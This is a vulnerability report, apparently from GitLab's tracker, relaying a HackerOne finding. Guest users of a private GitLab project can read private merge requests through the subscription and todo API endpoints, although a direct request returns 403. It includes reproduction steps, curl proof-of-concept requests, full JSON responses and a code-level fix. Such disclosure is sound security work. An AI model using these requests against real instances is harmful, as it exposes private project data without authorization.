HackerOne reported issue: Users with guest access can access private merge requests
Jobert from HackerOne reported the following issue: https://hackerone.com/reports/195134
Vulnerability details
A guest user to a private group, cannot access a project's merge requests. However, through the subscription API, an attacker can (un)subscribe itself to a merge request, revealing private information that shouldn't be accessible.
Impact
Merge request might contain private information that the repository owner does not want to reveal to guest access users.
Proof of concept
- As a group / project owner, invite someone with guest access
- As the same user, create a merge request - this MR is not accessible by users with guest access
- Accept the invitation as a new user and create an API token for your account
- Now send a POST request to the subscription API with a reference to the MR:
Request
curl -X POST -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/1/subscription
Response
{
"id": 2,
"iid": 2,
"project_id": 1,
"title": "<title>",
"description": "<description>",
"state": "opened",
"created_at": "2017-01-01T19:55:03.121Z",
"updated_at": "2017-01-01T19:55:03.121Z",
"target_branch": "master",
"source_branch": "dev",
"upvotes": 0,
"downvotes": 0,
"author": {
"name": "XXX",
"username": "XXX",
"id": 1,
"state": "active",
"avatar_url": "...",
"web_url": "..."
},
"assignee": null,
"source_project_id": 2,
"target_project_id": 2,
"labels": [
],
"work_in_progress": false,
"milestone": null,
"merge_when_build_succeeds": false,
"merge_status": "can_be_merged",
"sha": "c60a6c2312c184942b19c1828abb3d65e66c01c7",
"merge_commit_sha": null,
"subscribed": true,
"user_notes_count": 0,
"approvals_before_merge": null,
"should_remove_source_branch": null,
"force_remove_source_branch": false,
"web_url": "..."
}
You'll notice that when requesting the MR directly, the server will return a 403.
Request
curl -X GET -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/2
Response
{"message":"403 Forbidden"}
Remediation
Use the appropriate finder in the lib/api/subscriptions.rb on line 6 and 7 instead of calling find directly on the merge_requests relationship. This will scope the available merge requests to the ones that the user can subscribe to.
He also added:
There's another endpoint that reveals this information: when sending a POST
request to /api/v3/projects/:id/merge_requests/:id/todo
, the MR object will be returned. Just reporting this in a single report because the same code pattern as reported earlier in this report is applicable here. Here's a request and response to proof the vulnerability. Repeat step 1, 2, and 3 in the report description.
Request
curl -X POST -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/2/todo
Response
{
"id": 1,
"project": {
"id": 1,
"http_url_to_repo": "...",
"web_url": "...",
"name": "test",
"name_with_namespace": "test / test",
"path": "test",
"path_with_namespace": "test/test"
},
"author": {
"name": "Jobert Abma",
"username": "jobertabma",
"id": 1,
"state": "active",
"avatar_url": "...",
"web_url": "..."
},
"action_name": "marked",
"target_type": "MergeRequest",
"target": {
"id": 2,
"iid": 2,
"project_id": 1,
"title": "<title>",
"description": "<description>",
"state": "opened",
"created_at": "2017-01-01T19:55:03.121Z",
"updated_at": "2017-01-01T20:16:22.331Z",
"target_branch": "master",
"source_branch": "dev",
"upvotes": 0,
"downvotes": 0,
"author": {
"name": "JA",
"username": "root",
"id": 1,
"state": "active",
"avatar_url": "...",
"web_url": "..."
},
"assignee": null,
"source_project_id": 1,
"target_project_id": 1,
"labels": [
],
"work_in_progress": false,
"milestone": null,
"merge_when_build_succeeds": false,
"merge_status": "can_be_merged",
"sha": "c60a6c2312c184942b19c1828abb3d65e66c01c7",
"merge_commit_sha": null,
"subscribed": false,
"user_notes_count": 1,
"approvals_before_merge": null,
"should_remove_source_branch": null,
"force_remove_source_branch": false,
"web_url": "..."
},
"target_url": "...",
"body": "<title>",
"state": "pending",
"created_at": "2017-01-01T20:16:22.324Z"
}